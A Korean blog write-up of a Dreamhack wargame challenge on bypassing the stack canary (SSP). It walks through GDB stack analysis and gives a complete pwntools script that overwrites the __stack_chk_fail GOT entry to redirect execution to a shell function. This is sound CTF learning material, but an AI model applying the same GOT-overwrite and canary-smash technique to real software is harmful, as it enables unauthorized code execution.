[Wargame Write-up] SSP (Stack Smashing Protector) 우회
1. 문제 개요 및 공격 목표
- 목표: 바이너리에 존재하는 보안 기법인 Canary(SSP)를 우회하고, 쉘을 획득(get_shell 실행)하여 플래그를 탈취한다.
- 핵심 취약점: 1. 스택 버퍼 오버플로우 (Stack Buffer Overflow) 2. 임의 주소 쓰기 (AAW, Arbitrary Address Write)
2. 취약점 분석 및 GDB 디버깅
2.1. 버퍼와 카나리(Canary) 오프셋 계산
GDB를 통해 main 함수의 어셈블리를 분석하고 메모리 구조를 파악했다.
- 어셈블리 랜드마크 분석:
- 카나리 세팅: mov %rax,-0x8(%rbp) ➔ Canary 위치는 rbp - 0x8
- 입력 버퍼 세팅: lea -0x50(%rbp),%rax ➔ Buffer 시작점은 rbp - 0x50
- 거리 계산:
- 0x50(80) - 0x8(8) = 0x48(72) 바이트.
- 버퍼 시작점부터 카나리까지의 총 빈 공간은 72바이트임을 확인.
2.2. 메모리 덤프 확인 (x/50gx)
read 함수 호출 직전에 브레이크포인트를 걸고(b *0x400948), 2번째 인자인 rsi 레지스터 값을 확인하여 버퍼의 시작 주소(0x7fffffffe260)를 알아냈다. 이후 x/40gx 명령어로 스택 메모리를 출력하여 아래 구조를 눈으로 직접 증명했다.
Plaintext
[고주소 / 높은 주소]
+-------------------------+ <--- 0x...e2b8: 반환 주소 (RET)
+-------------------------+ <--- 0x...e2b0: SFP (0x0000000000000000)
+-------------------------+ <--- 0x...e2a8: Canary (0x382cbd75318feb00)
+-------------------------+ <--- 0x...e2a0: Dummy (8 bytes)
│ │
│ buf │
│ (64 bytes) │
│ │
+-------------------------+ <--- 0x...e260: Buffer Start
[저주소 / 낮은 주소]
2.3. 스택 방향성 충돌의 이해
- 할당 방향: main 시작 시 스택은 고주소에서 저주소로(⬇️) 내려오며 방(RET, Canary, buf)을 만듦.
- 쓰기 방향: read 함수로 데이터를 입력할 때는 저주소(buf[0])에서 고주소로(⬆️) 데이터가 써짐.
- 결론: 버퍼에 72바이트를 초과하여 값을 넣으면, 위층에 있는 카나리 공간을 침범하여(Overflow) 값을 변조할 수 있음.
3. 익스플로잇(Exploit) 시나리오
코드상에 존재하는 *addr = value 로직(임의 주소 쓰기 취약점)과 카나리 보호 기법의 맹점을 결합하여 공격을 수행한다.
- GOT Overwrite (함정 파기): 프로그램이 scanf로 주소와 값을 물어볼 때, 카나리 에러 처리 라이브러리 함수인 __stack_chk_fail의 GOT 주소에 쉘을 띄우는 get_shell 함수의 주소(0x4008ea)를 덮어쓴다.
- Canary Smash (일부러 선 넘기): 버퍼 오버플로우를 발생시켜(A를 78개 입력) 카나리 값을 의도적으로 파괴한다.
- Execution Flow Hijacking (실행 흐름 가로채기): main 함수 종료 시 카나리 변조가 감지되어 __stack_chk_fail이 호출되지만, 이미 GOT가 get_shell로 변조되어 있으므로 프로그램이 종료되는 대신 쉘이 열리게 된다.
4. 최종 익스플로잇 코드 (solve.py)
from pwn import *
# 서버 연결
p = remote("host8.dreamhack.games", 20958)
e = ELF("./ssp_000")
# 1. 버퍼 오버플로우를 통해 Canary 의도적 파괴 (72바이트 초과 입력)
p.sendline(b"A" * 78)
# 2. 덮어쓸 타겟 주소 입력 (AAW: __stack_chk_fail GOT 주소)
p.recvuntil("r : ")
p.sendline(str(e.got['__stack_chk_fail']))
# 3. 변경할 값 입력 (get_shell 함수 주소)
p.recvuntil("e : ")
p.sendline(str(0x4008ea))
# 4. 쉘 획득 및 상호작용
p.interactive()
5. 회고
간만에 다시 보니 어셈블리와 16진수 메모리 덤프가 외계어처럼 보이기 시작했다. 전에는 그래도 좀 잘읽혔는데 큰일이다. GDB의 x/50gx와 레지스터(rsi 등)를 확인하며 스택이 동작하는 방향성과 구조를 시각적으로 분리하여 이해할 수 있었다. 방어 기법(카나리)을 무력화하기 위해 오히려 그 에러 핸들러를 내가 원하는 함수로 덮어씌운다는 발상의 전환이 핵심이었던 문제이었던 것 같다.
'일상,취미' 카테고리의 다른 글
| 검정치마 콘서트 후기 (0) | 2025.05.09 |
|---|---|
| [TIL 43일차] 리눅스 파일 시스템 관련 명령어 (0) | 2024.09.12 |
| [TIL 40일차] WSL 사용기 (0) | 2024.08.29 |
| [TIL 37일차] 비동기 (0) | 2024.08.25 |
| [TIL 36일차] 쓰레드 프로그래밍 (0) | 2024.08.15 |